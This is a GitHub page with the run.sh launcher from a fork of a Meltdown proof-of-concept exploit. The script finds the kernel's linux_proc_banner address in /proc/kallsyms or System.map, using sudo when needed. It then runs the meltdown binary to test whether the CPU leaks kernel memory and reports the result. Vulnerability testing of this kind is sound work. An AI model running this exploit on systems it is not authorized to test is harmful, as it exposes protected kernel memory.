forked from paboldin/meltdown-exploit
-
Notifications
You must be signed in to change notification settings - Fork 0
/
run.sh
executable file
·58 lines (53 loc) · 1.37 KB
/
run.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/sh
find_linux_proc_banner() {
$2 sed -n -E 's/^(f[0-9a-f]+) .* linux_proc_banner$/\1/p' $1
}
echo "looking for linux_proc_banner in /proc/kallsyms"
linux_proc_banner=$(find_linux_proc_banner /proc/kallsyms)
if test -z $linux_proc_banner; then
echo "protected. requires root"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /proc/kallsyms sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map-$(uname -r)"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map-$(uname -r) sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "not found. reading /boot/System.map"
set -x
linux_proc_banner=$(\
find_linux_proc_banner /boot/System.map sudo)
set +x
fi
if test -z $linux_proc_banner; then
echo "can't find linux_proc_banner, unable to test at all"
exit 0
fi
./meltdown $linux_proc_banner 10
vuln=$?
if test $vuln -eq 132; then
echo "ILLEGAL INSTRUCTION"
echo "try recompile with:"
echo " make CFLAGS='-DHAVE_RDTSCP=0' clean all"
echo "and run again"
fi
if test $vuln -eq 1; then
echo "PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/19"
echo "VULNERABLE ON"
uname -rvi
head /proc/cpuinfo
exit 1
fi
if test $vuln -eq 0; then
echo "PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/22"
echo "NOT VULNERABLE ON"
uname -rvi
head /proc/cpuinfo
exit 0
fi